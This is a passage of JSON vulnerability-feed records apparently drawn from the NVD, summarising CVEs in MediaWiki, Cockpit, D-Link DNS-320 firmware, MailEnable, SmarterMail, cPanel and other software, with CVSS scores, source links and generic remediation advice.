fixes.","publishedAt":"2026-05-11T17:16:30.590Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33356","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33356","type":"primary","publishedAt":"2026-05-11T17:16:30.590Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34090","cveId":"CVE-2026-34090","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.\n\nThis issue affects CheckUser: from 1.45.0 before 1.45.2.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.\n\nThis issue affects CheckUser: from 1.45.0 before 1.45.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:30.407Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mediawiki","product":"checkuser","stacks":["Mediawiki","checkuser"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34090","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34090","type":"primary","publishedAt":"2026-05-11T16:17:30.407Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34088","cveId":"CVE-2026-34088","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:30.157Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mediawiki","product":"mediawiki","stacks":["Mediawiki","mediawiki"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":1.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34088","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34088","type":"primary","publishedAt":"2026-05-11T16:17:30.157Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-4802","cveId":"CVE-2026-4802","aliases":[],"kind":"vulnerability","title":"A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters...","summary":"A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.","detail":"A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T14:16:31.550Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-4802","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-4802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4802","type":"primary","publishedAt":"2026-05-11T14:16:31.550Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8273","cveId":"CVE-2026-8273","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi.","summary":"A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.","detail":"A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi. This manipulation causes os command injection. It is possible to initiate the attack remotely.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T05:16:16.417Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dns-320 firmware","stacks":["D-Link","dns-320 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8273","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8273","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8273","type":"primary","publishedAt":"2026-05-11T05:16:16.417Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8272","cveId":"CVE-2026-8272","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi.","summary":"A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. The manipulation results in os command injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. The manipulation results in os command injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T05:16:16.253Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dns-320 firmware","stacks":["D-Link","dns-320 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8272","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8272","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8272","type":"primary","publishedAt":"2026-05-11T05:16:16.253Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8271","cveId":"CVE-2026-8271","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function...","summary":"A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function cgi_speed/cgi_dhcpd_lease/cgi_ddns/cgi_set_ip/cgi_upnp_del/cgi_dhcpd/cgi_upnp_add/cgi_upnp_edit of the file /cgi-bin/network_mgr.cgi. The manipulation leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function cgi_speed/cgi_dhcpd_lease/cgi_ddns/cgi_set_ip/cgi_upnp_del/cgi_dhcpd/cgi_upnp_add/cgi_upnp_edit of the file /cgi-bin/network_mgr.cgi. The manipulation leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T05:16:16.093Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dlink","product":"dns-320 firmware","stacks":["D-Link","dns-320 firmware"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8271","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8271","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8271","type":"primary","publishedAt":"2026-05-11T05:16:16.093Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42224","cveId":"CVE-2026-42224","aliases":[],"kind":"vulnerability","title":"ipl/web is a set of common web components for php projects.","summary":"ipl/web is a set of common web components for php projects. Prior to versions 0.13.1 and 0.10.3, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in versions 0.13.1 and 0.10.3.","detail":"ipl/web is a set of common web components for php projects. Prior to versions 0.13.1 and 0.10.3, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in versions 0.13.1 and 0.10.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T23:16:35.990Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42224","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42224","type":"primary","publishedAt":"2026-05-08T23:16:35.990Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42212","cveId":"CVE-2026-42212","aliases":[],"kind":"vulnerability","title":"SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM.","summary":"SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.","detail":"SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, Opening a .gpp file in the SolidCAM Postprocessor IDE extension causes the language server to parse a companion .vmid file from the same directory (naming convention: foo.gpp to foo.vmid). The VMID parser called XDocument.Load(path) without any XmlReaderSettings, inheriting the framework defaults which in .NET 8 allow DTD processing. A malicious .vmid file could therefore: disclose local files via external entity references, exhaust memory via recursive entity expansion, and cause denial of service via oversized or deeply nested XML. This issue has been patched in version 1.0.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T22:16:32.243Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42212","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42212","type":"primary","publishedAt":"2026-05-08T22:16:32.243Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44400","cveId":"CVE-2026-44400","aliases":[],"kind":"vulnerability","title":"MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication...","summary":"MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.","detail":"MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T21:16:28.260Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mailenable","product":"mailenable","stacks":["Mailenable","mailenable"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44400","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44400","type":"primary","publishedAt":"2026-05-08T21:16:28.260Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7807","cveId":"CVE-2026-7807","aliases":[],"kind":"vulnerability","title":"SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to...","summary":"SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to read arbitrary .json files on the system. Attackers can exploit this vulnerability combined with weak encryption algorithms and hardcoded keys to decrypt and access stored passwords and 2FA secrets for all users.","detail":"SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to read arbitrary .json files on the system. Attackers can exploit this vulnerability combined with weak encryption algorithms and hardcoded keys to decrypt and access stored passwords and 2FA secrets for all users.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T20:16:32.200Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"smartertools","product":"smartermail","stacks":["Smartertools","smartermail"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7807","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7807","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7807","type":"primary","publishedAt":"2026-05-08T20:16:32.200Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-29203","cveId":"CVE-2026-29203","aliases":[],"kind":"vulnerability","title":"A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories.","summary":"A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.","detail":"A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T19:16:30.147Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29203","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-29203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29203","type":"primary","publishedAt":"2026-05-08T19:16:30.147Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6659","cveId":"CVE-2026-6659","aliases":[],"kind":"vulnerability","title":"Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.","summary":"Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.\n\nThe built-in rand function is predictable, and unsuitable for cryptography.","detail":"Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.\n\nThe built-in rand function is predictable, and unsuitable for cryptography.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T18:16:34.183Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6659","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 